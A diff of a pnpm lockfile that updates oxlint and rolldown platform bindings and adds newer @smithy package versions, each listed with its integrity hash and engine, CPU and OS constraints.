'@oxlint/binding-darwin-arm64@1.51.0': + resolution: {integrity: sha512-3QJbeYaMHn6Bh2XeBXuITSsbnIctyTjvHf5nRjKYrT9pPeErNIpp5VDEeAXC0CZSwSVTsc8WOSDwgrAI24JolQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [darwin] - '@oxlint/binding-darwin-x64@1.50.0': - resolution: {integrity: sha512-hNfogDqy7tvmllXKBSlHo6k5x7dhTUVOHbMSE15CCAcXzmqf5883aPvBYPOq9AE7DpDUQUZ1kVE22YbiGW+tuw==} + '@oxlint/binding-darwin-x64@1.51.0': + resolution: {integrity: sha512-NzErhMaTEN1cY0E8C5APy74lw5VwsNfJfVPBMWPVQLqAbO0k4FFLjvHURvkUL+Y18Wu+8Vs1kbqPh2hjXYA4pg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [darwin] - '@oxlint/binding-freebsd-x64@1.50.0': - resolution: {integrity: sha512-ykZevOWEyu0nsxolA911ucxpEv0ahw8jfEeGWOwwb/VPoE4xoexuTOAiPNlWZNJqANlJl7yp8OyzCtXTUAxotw==} + '@oxlint/binding-freebsd-x64@1.51.0': + resolution: {integrity: sha512-msAIh3vPAoKoHlOE/oe6Q5C/n9umypv/k81lED82ibrJotn+3YG2Qp1kiR8o/Dg5iOEU97c6tl0utxcyFenpFw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [freebsd] - '@oxlint/binding-linux-arm-gnueabihf@1.50.0': - resolution: {integrity: sha512-hif3iDk7vo5GGJ4OLCCZAf2vjnU9FztGw4L0MbQL0M2iY9LKFtDMMiQAHmkF0PQGQMVbTYtPdXCLKVgdkiqWXQ==} + '@oxlint/binding-linux-arm-gnueabihf@1.51.0': + resolution: {integrity: sha512-CqQPcvqYyMe9ZBot2stjGogEzk1z8gGAngIX7srSzrzexmXixwVxBdFZyxTVM0CjGfDeV+Ru0w25/WNjlMM2Hw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [linux] - '@oxlint/binding-linux-arm-musleabihf@1.50.0': - resolution: {integrity: sha512-dVp9iSssiGAnTNey2Ruf6xUaQhdnvcFOJyRWd/mu5o2jVbFK15E5fbWGeFRfmuobu5QXuROtFga44+7DOS3PLg==} + '@oxlint/binding-linux-arm-musleabihf@1.51.0': + resolution: {integrity: sha512-dstrlYQgZMnyOssxSbolGCge/sDbko12N/35RBNuqLpoPbft2aeBidBAb0dvQlyBd9RJ6u8D4o4Eh8Un6iTgyQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [linux] - '@oxlint/binding-linux-arm64-gnu@1.50.0': - resolution: {integrity: sha512-1cT7yz2HA910CKA9NkH1ZJo50vTtmND2fkoW1oyiSb0j6WvNtJ0Wx2zoySfXWc/c+7HFoqRK5AbEoL41LOn9oA==} + '@oxlint/binding-linux-arm64-gnu@1.51.0': + resolution: {integrity: sha512-QEjUpXO7d35rP1/raLGGbAsBLLGZIzV3ZbeSjqWlD3oRnxpRIZ6iL4o51XQHkconn3uKssc+1VKdtHJ81BBhDA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@oxlint/binding-linux-arm64-musl@1.50.0': - resolution: {integrity: sha512-++B3k/HEPFVlj89cOz8kWfQccMZB/aWL9AhsW7jPIkG++63Mpwb2cE9XOEsd0PATbIan78k2Gky+09uWM1d/gQ==} + '@oxlint/binding-linux-arm64-musl@1.51.0': + resolution: {integrity: sha512-YSJua5irtG4DoMAjUapDTPhkQLHhBIY0G9JqlZS6/SZPzqDkPku/1GdWs0D6h/wyx0Iz31lNCfIaWKBQhzP0wQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@oxlint/binding-linux-ppc64-gnu@1.50.0': - resolution: {integrity: sha512-Z9b/KpFMkx66w3gVBqjIC1AJBTZAGoI9+U+K5L4QM0CB/G0JSNC1es9b3Y0Vcrlvtdn8A+IQTkYjd/Q0uCSaZw==} + '@oxlint/binding-linux-ppc64-gnu@1.51.0': + resolution: {integrity: sha512-7L4Wj2IEUNDETKssB9IDYt16T6WlF+X2jgC/hBq3diGHda9vJLpAgb09+D3quFq7TdkFtI7hwz/jmuQmQFPc1Q==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [ppc64] os: [linux] - '@oxlint/binding-linux-riscv64-gnu@1.50.0': - resolution: {integrity: sha512-jvmuIw8wRSohsQlFNIST5uUwkEtEJmOQYr33bf/K2FrFPXHhM4KqGekI3ShYJemFS/gARVacQFgBzzJKCAyJjg==} + '@oxlint/binding-linux-riscv64-gnu@1.51.0': + resolution: {integrity: sha512-cBUHqtOXy76G41lOB401qpFoKx1xq17qYkhWrLSM7eEjiHM9sOtYqpr6ZdqCnN9s6ZpzudX4EkeHOFH2E9q0vA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [riscv64] os: [linux] - '@oxlint/binding-linux-riscv64-musl@1.50.0': - resolution: {integrity: sha512-x+UrN47oYNh90nmAAyql8eQaaRpHbDPu5guasDg10+OpszUQ3/1+1J6zFMmV4xfIEgTcUXG/oI5fxJhF4eWCNA==} + '@oxlint/binding-linux-riscv64-musl@1.51.0': + resolution: {integrity: sha512-WKbg8CysgZcHfZX0ixQFBRSBvFZUHa3SBnEjHY2FVYt2nbNJEjzTxA3ZR5wMU0NOCNKIAFUFvAh5/XJKPRJuJg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [riscv64] os: [linux] - '@oxlint/binding-linux-s390x-gnu@1.50.0': - resolution: {integrity: sha512-i/JLi2ljLUIVfekMj4ISmdt+Hn11wzYUdRRrkVUYsCWw7zAy5xV7X9iA+KMyM156LTFympa7s3oKBjuCLoTAUQ==} + '@oxlint/binding-linux-s390x-gnu@1.51.0': + resolution: {integrity: sha512-N1QRUvJTxqXNSu35YOufdjsAVmKVx5bkrggOWAhTWBc3J4qjcBwr1IfyLh/6YCg8sYRSR1GraldS9jUgJL/U4A==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [s390x] os: [linux] - '@oxlint/binding-linux-x64-gnu@1.50.0': - resolution: {integrity: sha512-/C7brhn6c6UUPccgSPCcpLQXcp+xKIW/3sji/5VZ8/OItL3tQ2U7KalHz887UxxSQeEOmd1kY6lrpuwFnmNqOA==} + '@oxlint/binding-linux-x64-gnu@1.51.0': + resolution: {integrity: sha512-e0Mz0DizsCoqNIjeOg6OUKe8JKJWZ5zZlwsd05Bmr51Jo3AOL4UJnPvwKumr4BBtBrDZkCmOLhCvDGm95nJM2g==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@oxlint/binding-linux-x64-musl@1.50.0': - resolution: {integrity: sha512-oDR1f+bGOYU8LfgtEW8XtotWGB63ghtcxk5Jm6IDTCk++rTA/IRMsjOid2iMd+1bW+nP9Mdsmcdc7VbPD3+iyQ==} + '@oxlint/binding-linux-x64-musl@1.51.0': + resolution: {integrity: sha512-wD8HGTWhYBKXvRDvoBVB1y+fEYV01samhWQSy1Zkxq2vpezvMnjaFKRuiP6tBNITLGuffbNDEXOwcAhJ3gI5Ug==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@oxlint/binding-openharmony-arm64@1.50.0': - resolution: {integrity: sha512-4CmRGPp5UpvXyu4jjP9Tey/SrXDQLRvZXm4pb4vdZBxAzbFZkCyh0KyRy4txld/kZKTJlW4TO8N1JKrNEk+mWw==} + '@oxlint/binding-openharmony-arm64@1.51.0': + resolution: {integrity: sha512-5NSwQ2hDEJ0GPXqikjWtwzgAQCsS7P9aLMNenjjKa+gknN3lTCwwwERsT6lKXSirfU3jLjexA2XQvQALh5h27w==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [openharmony] - '@oxlint/binding-win32-arm64-msvc@1.50.0': - resolution: {integrity: sha512-Fq0M6vsGcFsSfeuWAACDhd5KJrO85ckbEfe1EGuBj+KPyJz7KeWte2fSFrFGmNKNXyhEMyx4tbgxiWRujBM2KQ==} + '@oxlint/binding-win32-arm64-msvc@1.51.0': + resolution: {integrity: sha512-JEZyah1M0RHMw8d+jjSSJmSmO8sABA1J1RtrHYujGPeCkYg1NeH0TGuClpe2h5QtioRTaF57y/TZfn/2IFV6fA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [win32] - '@oxlint/binding-win32-ia32-msvc@1.50.0': - resolution: {integrity: sha512-qTdWR9KwY/vxJGhHVIZG2eBOhidOQvOwzDxnX+jhW/zIVacal1nAhR8GLkiywW8BIFDkQKXo/zOfT+/DY+ns/w==} + '@oxlint/binding-win32-ia32-msvc@1.51.0': + resolution: {integrity: sha512-q3cEoKH6kwjz/WRyHwSf0nlD2F5Qw536kCXvmlSu+kaShzgrA0ojmh45CA81qL+7udfCaZL2SdKCZlLiGBVFlg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [ia32] os: [win32] - '@oxlint/binding-win32-x64-msvc@1.50.0': - resolution: {integrity: sha512-682t7npLC4G2Ca+iNlI9fhAKTcFPYYXJjwoa88H4q+u5HHHlsnL/gHULapX3iqp+A8FIJbgdylL5KMYo2LaluQ==} + '@oxlint/binding-win32-x64-msvc@1.51.0': + resolution: {integrity: sha512-Q14+fOGb9T28nWF/0EUsYqERiRA7cl1oy4TJrGmLaqhm+aO2cV+JttboHI3CbdeMCAyDI1+NoSlrM7Melhp/cw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [win32] @@ -2360,85 +2463,97 @@ packages: resolution: {integrity: sha512-DmCG8GzysnCZ15bres3N5AHCmwBwYgp0As6xjhQ47rAUTUXxJiK+lLUxaGsX3hd/30qUpVElh05PbGuxRPgJwA==} engines: {node: '>= 10'} - '@rolldown/binding-android-arm64@1.0.0-rc.5': - resolution: {integrity: sha512-zCEmUrt1bggwgBgeKLxNj217J1OrChrp3jJt24VK9jAharSTeVaHODNL+LpcQVhRz+FktYWfT9cjo5oZ99ZLpg==} + '@rolldown/binding-android-arm64@1.0.0-rc.7': + resolution: {integrity: sha512-/uadfNUaMLFFBGvcIOiq8NnlhvTZTjOyybJaJnhGxD0n9k5vZRJfTaitH5GHnbwmc6T2PC+ZpS1FQH+vXyS/UA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [android] - '@rolldown/binding-darwin-arm64@1.0.0-rc.5': - resolution: {integrity: sha512-ZP9xb9lPAex36pvkNWCjSEJW/Gfdm9I3ssiqOFLmpZ/vosPXgpoGxCmh+dX1Qs+/bWQE6toNFXWWL8vYoKoK9Q==} + '@rolldown/binding-darwin-arm64@1.0.0-rc.7': + resolution: {integrity: sha512-zokYr1KgRn0hRA89dmgtPj/BmKp9DxgrfAJvOEFfXa8nfYWW2nmgiYIBGpSIAJrEg7Qc/Qznovy6xYwmKh0M8g==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [darwin] - '@rolldown/binding-darwin-x64@1.0.0-rc.5': - resolution: {integrity: sha512-7IdrPunf6dp9mywMgTOKMMGDnMHQ6+h5gRl6LW8rhD8WK2kXX0IwzcM5Zc0B5J7xQs8QWOlKjv8BJsU/1CD3pg==} + '@rolldown/binding-darwin-x64@1.0.0-rc.7': + resolution: {integrity: sha512-eZFjbmrapCBVgMmuLALH3pmQQQStHFuRhsFceJHk6KISW8CkI2e9OPLp9V4qXksrySQcD8XM8fpvGLs5l5C7LQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [darwin] - '@rolldown/binding-freebsd-x64@1.0.0-rc.5': - resolution: {integrity: sha512-o/JCk+dL0IN68EBhZ4DqfsfvxPfMeoM6cJtxORC1YYoxGHZyth2Kb2maXDb4oddw2wu8iIbnYXYPEzBtAF5CAg==} + '@rolldown/binding-freebsd-x64@1.0.0-rc.7': + resolution: {integrity: sha512-xjMrh8Dmu2DNwdY6DZsrF6YPGeesc3PaTlkh8v9cqmkSCNeTxnhX3ErhVnuv1j3n8t2IuuhQIwM9eZDINNEt5Q==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [freebsd] - '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.5': - resolution: {integrity: sha512-IIBwTtA6VwxQLcEgq2mfrUgam7VvPZjhd/jxmeS1npM+edWsrrpRLHUdze+sk4rhb8/xpP3flemgcZXXUW6ukw==} + '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.7': + resolution: {integrity: sha512-mOvftrHiXg4/xFdxJY3T9Wl1/zDAOSlMN8z9an2bXsCwuvv3RdyhYbSMZDuDO52S04w9z7+cBd90lvQSPTAQtw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [linux] - '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.5': - resolution: {integrity: sha512-KSol1De1spMZL+Xg7K5IBWXIvRWv7+pveaxFWXpezezAG7CS6ojzRjtCGCiLxQricutTAi/LkNWKMsd2wNhMKQ==} + '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.7': + resolution: {integrity: sha512-TuUkeuEEPRyXMBbJ86NRhAiPNezxHW8merl3Om2HASA9Pl1rI+VZcTtsVQ6v/P0MDIFpSl0k0+tUUze9HIXyEw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@rolldown/binding-linux-arm64-musl@1.0.0-rc.5': - resolution: {integrity: sha512-WFljyDkxtXRlWxMjxeegf7xMYXxUr8u7JdXlOEWKYgDqEgxUnSEsVDxBiNWQ1D5kQKwf8Wo4sVKEYPRhCdsjwA==} + '@rolldown/binding-linux-arm64-musl@1.0.0-rc.7': + resolution: {integrity: sha512-G43ZElEvaby+YSOgrXfBgpeQv42LdS0ivFFYQufk2tBDWeBfzE/+ob5DmO8Izbyn4Y8k6GgLF11jFDYNnmU/3w==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@rolldown/binding-linux-x64-gnu@1.0.0-rc.5': - resolution: {integrity: sha512-CUlplTujmbDWp2gamvrqVKi2Or8lmngXT1WxsizJfts7JrvfGhZObciaY/+CbdbS9qNnskvwMZNEhTPrn7b+WA==} + '@rolldown/binding-linux-ppc64-gnu@1.0.0-rc.7': + resolution: {integrity: sha512-Y48ShVxGE2zUTt0A0PR3grCLNxW4DWtAfe5lxf6L3uYEQujwo/LGuRogMsAtOJeYLCPTJo2i714LOdnK34cHpw==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [ppc64] + os: [linux] + + '@rolldown/binding-linux-s390x-gnu@1.0.0-rc.7': + resolution: {integrity: sha512-KU5DUYvX3qI8/TX6D3RA4awXi4Ge/1+M6Jqv7kRiUndpqoVGgD765xhV3Q6QvtABnYjLJenrWDl3S1B5U56ixA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [s390x] + os: [linux] + + '@rolldown/binding-linux-x64-gnu@1.0.0-rc.7': + resolution: {integrity: sha512-1THb6FdBkAEL12zvUue2bmK4W1+P+tz8Pgu5uEzq+xrtYa3iBzmmKNlyfUzCFNCqsPd8WJEQrYdLcw4iMW4AVw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@rolldown/binding-linux-x64-musl@1.0.0-rc.5': - resolution: {integrity: sha512-wdf7g9NbVZCeAo2iGhsjJb7I8ZFfs6X8bumfrWg82VK+8P6AlLXwk48a1ASiJQDTS7Svq2xVzZg3sGO2aXpHRA==} + '@rolldown/binding-linux-x64-musl@1.0.0-rc.7': + resolution: {integrity: sha512-12o73atFNWDgYnLyA52QEUn9AH8pHIe12W28cmqjyHt4bIEYRzMICvYVCPa2IQm6DJBvCBrEhD9K+ct4wr2hwg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@rolldown/binding-openharmony-arm64@1.0.0-rc.5': - resolution: {integrity: sha512-0CWY7ubu12nhzz+tkpHjoG3IRSTlWYe0wrfJRf4qqjqQSGtAYgoL9kwzdvlhaFdZ5ffVeyYw9qLsChcjUMEloQ==} + '@rolldown/binding-openharmony-arm64@1.0.0-rc.7': + resolution: {integrity: sha512-+uUgGwvuUCXl894MTsmTS2J0BnCZccFsmzV7y1jFxW5pTSxkuwL5agyPuDvDOztPeS6RrdqWkn7sT0jRd0ECkg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [openharmony] - '@rolldown/binding-wasm32-wasi@1.0.0-rc.5': - resolution: {integrity: sha512-LztXnGzv6t2u830mnZrFLRVqT/DPJ9DL4ZTz/y93rqUVkeHjMMYIYaFj+BUthiYxbVH9dH0SZYufETspKY/NhA==} + '@rolldown/binding-wasm32-wasi@1.0.0-rc.7': + resolution: {integrity: sha512-53p2L/NSy21UiFOqUGlC11kJDZS2Nx2GJRz1QvbkXovypA3cOHbsyZHLkV72JsLSbiEQe+kg4tndUhSiC31UEA==} engines: {node: '>=14.0.0'} cpu: [wasm32] - '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.5': - resolution: {integrity: sha512-jUct1XVeGtyjqJXEAfvdFa8xoigYZ2rge7nYEm70ppQxpfH9ze2fbIrpHmP2tNM2vL/F6Dd0CpXhpjPbC6bSxQ==} + '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.7': + resolution: {integrity: sha512-K6svNRljO6QrL6VTKxwh4yThhlR9DT/tK0XpaFQMnJwwQKng+NYcVEtUkAM0WsoiZHw+Hnh3DGnn3taf/pNYGg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [win32] - '@rolldown/binding-win32-x64-msvc@1.0.0-rc.5': - resolution: {integrity: sha512-VQ8F9ld5gw29epjnVGdrx8ugiLTe8BMqmhDYy7nGbdeDo4HAt4bgdZvLbViEhg7DZyHLpiEUlO5/jPSUrIuxRQ==} + '@rolldown/binding-win32-x64-msvc@1.0.0-rc.7': + resolution: {integrity: sha512-3ZJBT47VWLKVKIyvHhUSUgVwHzzZW761YAIkM3tOT+8ZTjFVp0acCM0Y2Z2j3jCl+XYi2d9y2uEWQ8H0PvvpPw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [win32] - '@rolldown/pluginutils@1.0.0-rc.5': - resolution: {integrity: sha512-RxlLX/DPoarZ9PtxVrQgZhPoor987YtKQqCo5zkjX+0S0yLJ7Vv515Wk6+xtTL67VONKJKxETWZwuZjss2idYw==} + '@rolldown/pluginutils@1.0.0-rc.7': + resolution: {integrity: sha512-qujRfC8sFVInYSPPMLQByRh7zhwkGFS4+tyMQ83srV1qrxL4g8E2tyxVVyxd0+8QeBM1mIk9KbWxkegRr76XzA==} '@rollup/rollup-android-arm-eabi@4.59.0': resolution: {integrity: sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==} @@ -2637,6 +2752,10 @@ packages: resolution: {integrity: sha512-qocxM/X4XGATqQtUkbE9SPUB6wekBi+FyJOMbPj0AhvyvFGYEmOlz6VB22iMePCQsFmMIvFSeViDvA7mZJG47g==} engines: {node: '>=18.0.0'} + '@smithy/abort-controller@4.2.11': + resolution: {integrity: sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ==} + engines: {node: '>=18.0.0'} + '@smithy/chunked-blob-reader-native@4.2.2': resolution: {integrity: sha512-QzzYIlf4yg0w5TQaC9VId3B3ugSk1MI/wb7tgcHtd7CBV9gNRKZrhc2EPSxSZuDy10zUZ0lomNMgkc6/VVe8xg==} engines: {node: '>=18.0.0'} @@ -2645,6 +2764,10 @@ packages: resolution: {integrity: sha512-y5d4xRiD6TzeP5BWlb+Ig/VFqF+t9oANNhGeMqyzU7obw7FYgTgVi50i5JqBTeKp+TABeDIeeXFZdz65RipNtA==} engines: {node: '>=18.0.0'} + '@smithy/config-resolver@4.4.10': + resolution: {integrity: sha512-IRTkd6ps0ru+lTWnfnsbXzW80A8Od8p3pYiZnW98K2Hb20rqfsX7VTlfUwhrcOeSSy68Gn9WBofwPuw3e5CCsg==} + engines: {node: '>=18.0.0'} + '@smithy/config-resolver@4.4.9': resolution: {integrity: sha512-ejQvXqlcU30h7liR9fXtj7PIAau1t/sFbJpgWPfiYDs7zd16jpH0IsSXKcba2jF6ChTXvIjACs27kNMc5xxE2Q==} engines: {node: '>=18.0.0'} @@ -2653,10 +2776,18 @@ packages: resolution: {integrity: sha512-4xE+0L2NrsFKpEVFlFELkIHQddBvMbQ41LRIP74dGCXnY1zQ9DgksrBcRBDJT+iOzGy4VEJIeU3hkUK5mn06kg==} engines: {node: '>=18.0.0'} + '@smithy/core@3.23.9': + resolution: {integrity: sha512-1Vcut4LEL9HZsdpI0vFiRYIsaoPwZLjAxnVQDUMQK8beMS+EYPLDQCXtbzfxmM5GzSgjfe2Q9M7WaXwIMQllyQ==} + engines: {node: '>=18.0.0'} + '@smithy/credential-provider-imds@4.2.10': resolution: {integrity: sha512-3bsMLJJLTZGZqVGGeBVFfLzuRulVsGTj12BzRKODTHqUABpIr0jMN1vN3+u6r2OfyhAQ2pXaMZWX/swBK5I6PQ==} engines: {node: '>=18.0.0'} + '@smithy/credential-provider-imds@4.2.11': + resolution: {integrity: sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g==} + engines: {node: '>=18.0.0'} + '@smithy/eventstream-codec@4.2.10': resolution: {integrity: sha512-A4ynrsFFfSXUHicfTcRehytppFBcY3HQxEGYiyGktPIOye3Ot7fxpiy4VR42WmtGI4Wfo6OXt/c1Ky1nUFxYYQ==} engines: {node: '>=18.0.0'} @@ -2681,6 +2812,10 @@ packages: resolution: {integrity: sha512-wbTRjOxdFuyEg0CpumjZO0hkUl+fetJFqxNROepuLIoijQh51aMBmzFLfoQdwRjxsuuS2jizzIUTjPWgd8pd7g==} engines: {node: '>=18.0.0'} + '@smithy/fetch-http-handler@5.3.13': + resolution: {integrity: sha512-U2Hcfl2s3XaYjikN9cT4mPu8ybDbImV3baXR0PkVlC0TTx808bRP3FaPGAzPtB8OByI+JqJ1kyS+7GEgae7+qQ==} + engines: {node: '>=18.0.0'} + '@smithy/hash-blob-browser@4.2.11': resolution: {integrity: sha512-DrcAx3PM6AEbWZxsKl6CWAGnVwiz28Wp1ZhNu+Hi4uI/6C1PIZBIaPM2VoqBDAsOWbM6ZVzOEQMxFLLdmb4eBQ==} engines: {node: '>=18.0.0'} @@ -2689,6 +2824,10 @@ packages: resolution: {integrity: sha512-1VzIOI5CcsvMDvP3iv1vG/RfLJVVVc67dCRyLSB2Hn9SWCZrDO3zvcIzj3BfEtqRW5kcMg5KAeVf1K3dR6nD3w==} engines: {node: '>=18.0.0'} + '@smithy/hash-node@4.2.11': + resolution: {integrity: sha512-T+p1pNynRkydpdL015ruIoyPSRw9e/SQOWmSAMmmprfswMrd5Ow5igOWNVlvyVFZlxXqGmyH3NQwfwy8r5Jx0A==} + engines: {node: '>=18.0.0'} + '@smithy/hash-stream-node@4.2.10': resolution: {integrity: sha512-w78xsYrOlwXKwN5tv1GnKIRbHb1HygSpeZMP6xDxCPGf1U/xDHjCpJu64c5T35UKyEPwa0bPeIcvU69VY3khUA==} engines: {node: '>=18.0.0'} @@ -2697,6 +2836,10 @@ packages: resolution: {integrity: sha512-vy9KPNSFUU0ajFYk0sDZIYiUlAWGEAhRfehIr5ZkdFrRFTAuXEPUd41USuqHU6vvLX4r6Q9X7MKBco5+Il0Org==} engines: {node: '>=18.0.0'} + '@smithy/invalid-dependency@4.2.11': + resolution: {integrity: sha512-cGNMrgykRmddrNhYy1yBdrp5GwIgEkniS7k9O1VLB38yxQtlvrxpZtUVvo6T4cKpeZsriukBuuxfJcdZQc/f/g==} + engines: {node: '>=18.0.0'} + '@smithy/is-array-buffer@2.2.0': resolution: {integrity: sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==} engines: {node: '>=14.0.0'} @@ -2705,6 +2848,10 @@ packages: resolution: {integrity: sha512-Yfu664Qbf1B4IYIsYgKoABt010daZjkaCRvdU/sPnZG6TtHOB0md0RjNdLGzxe5UIdn9js4ftPICzmkRa9RJ4Q==} engines: {node: '>=18.0.0'} + '@smithy/is-array-buffer@4.2.2': + resolution: {integrity: sha512-n6rQ4N8Jj4YTQO3YFrlgZuwKodf4zUFs7EJIWH86pSCWBaAtAGBFfCM7Wx6D2bBJ2xqFNxGBSrUWswT3M0VJow==} + engines: {node: '>=18.0.0'} + '@smithy/md5-js@4.2.10': resolution: {integrity: sha512-Op+Dh6dPLWTjWITChFayDllIaCXRofOed8ecpggTC5fkh8yXes0vAEX7gRUfjGK+TlyxoCAA05gHbZW/zB9JwQ==} engines: {node: '>=18.0.0'} @@ -2713,62 +2860,122 @@ packages: resolution: {integrity: sha512-TQZ9kX5c6XbjhaEBpvhSvMEZ0klBs1CFtOdPFwATZSbC9UeQfKHPLPN9Y+I6wZGMOavlYTOlHEPDrt42PMSH9w==} engines: {node: '>=18.0.0'} + '@smithy/middleware-content-length@4.2.11': + resolution: {integrity: sha512-UvIfKYAKhCzr4p6jFevPlKhQwyQwlJ6IeKLDhmV1PlYfcW3RL4ROjNEDtSik4NYMi9kDkH7eSwyTP3vNJ/u/Dw==} + engines: {node: '>=18.0.0'} + '@smithy/middleware-endpoint@4.4.20': resolution: {integrity: sha512-9W6Np4ceBP3XCYAGLoMCmn8t2RRVzuD1ndWPLBbv7H9CrwM9Bprf6Up6BM9ZA/3alodg0b7Kf6ftBK9R1N04vw==} engines: {node: '>=18.0.0'} + '@smithy/middleware-endpoint@4.4.23': + resolution: {integrity: sha512-UEFIejZy54T1EJn2aWJ45voB7RP2T+IRzUqocIdM6GFFa5ClZncakYJfcYnoXt3UsQrZZ9ZRauGm77l9UCbBLw==} + engines: {node: '>=18.0.0'} + '@smithy/middleware-retry@4.4.37': resolution: {integrity: sha512-/1psZZllBBSQ7+qo5+hhLz7AEPGLx3Z0+e3ramMBEuPK2PfvLK4SrncDB9VegX5mBn+oP/UTDrM6IHrFjvX1ZA==} engines: {node: '>=18.0.0'} + '@smithy/middleware-retry@4.4.40': + resolution: {integrity: sha512-YhEMakG1Ae57FajERdHNZ4ShOPIY7DsgV+ZoAxo/5BT0KIe+f6DDU2rtIymNNFIj22NJfeeI6LWIifrwM0f+rA==} + engines: {node: '>=18.0.0'} + '@smithy/middleware-serde@4.2.11': resolution: {integrity: sha512-STQdONGPwbbC7cusL60s7vOa6He6A9w2jWhoapL0mgVjmR19pr26slV+yoSP76SIssMTX/95e5nOZ6UQv6jolg==} engines: {node: '>=18.0.0'} + '@smithy/middleware-serde@4.2.12': + resolution: {integrity: sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng==} + engines: {node: '>=18.0.0'} + '@smithy/middleware-stack@4.2.10': resolution: {integrity: sha512-pmts/WovNcE/tlyHa8z/groPeOtqtEpp61q3W0nW1nDJuMq/x+hWa/OVQBtgU0tBqupeXq0VBOLA4UZwE8I0YA==} engines: {node: '>=18.0.0'} + '@smithy/middleware-stack@4.2.11': + resolution: {integrity: sha512-s+eenEPW6RgliDk2IhjD2hWOxIx1NKrOHxEwNUaUXxYBxIyCcDfNULZ2Mu15E3kwcJWBedTET/kEASPV1A1Akg==} + engines: {node: '>=18.0.0'} + '@smithy/node-config-provider@4.3.10': resolution: {integrity: sha512-UALRbJtVX34AdP2VECKVlnNgidLHA2A7YgcJzwSBg1hzmnO/bZBHl/LDQQyYifzUwp1UOODnl9JJ3KNawpUJ9w==} engines: {node: '>=18.0.0'} + '@smithy/node-config-provider@4.3.11': + resolution: {integrity: sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg==} + engines: {node: '>=18.0.0'} + '@smithy/node-http-handler@4.4.12': resolution: {integrity: sha512-zo1+WKJkR9x7ZtMeMDAAsq2PufwiLDmkhcjpWPRRkmeIuOm6nq1qjFICSZbnjBvD09ei8KMo26BWxsu2BUU+5w==} engines: {node: '>=18.0.0'} + '@smithy/node-http-handler@4.4.14': + resolution: {integrity: sha512-DamSqaU8nuk0xTJDrYnRzZndHwwRnyj/n/+RqGGCcBKB4qrQem0mSDiWdupaNWdwxzyMU91qxDmHOCazfhtO3A==} + engines: {node: '>=18.0.0'} + '@smithy/property-provider@4.2.10': resolution: {integrity: sha512-5jm60P0CU7tom0eNrZ7YrkgBaoLFXzmqB0wVS+4uK8PPGmosSrLNf6rRd50UBvukztawZ7zyA8TxlrKpF5z9jw==} engines: {node: '>=18.0.0'} + '@smithy/property-provider@4.2.11': + resolution: {integrity: sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg==} + engines: {node: '>=18.0.0'} + '@smithy/protocol-http@5.3.10': resolution: {integrity: sha512-2NzVWpYY0tRdfeCJLsgrR89KE3NTWT2wGulhNUxYlRmtRmPwLQwKzhrfVaiNlA9ZpJvbW7cjTVChYKgnkqXj1A==} engines: {node: '>=18.0.0'} + '@smithy/protocol-http@5.3.11': + resolution: {integrity: sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ==} + engines: {node: '>=18.0.0'} + 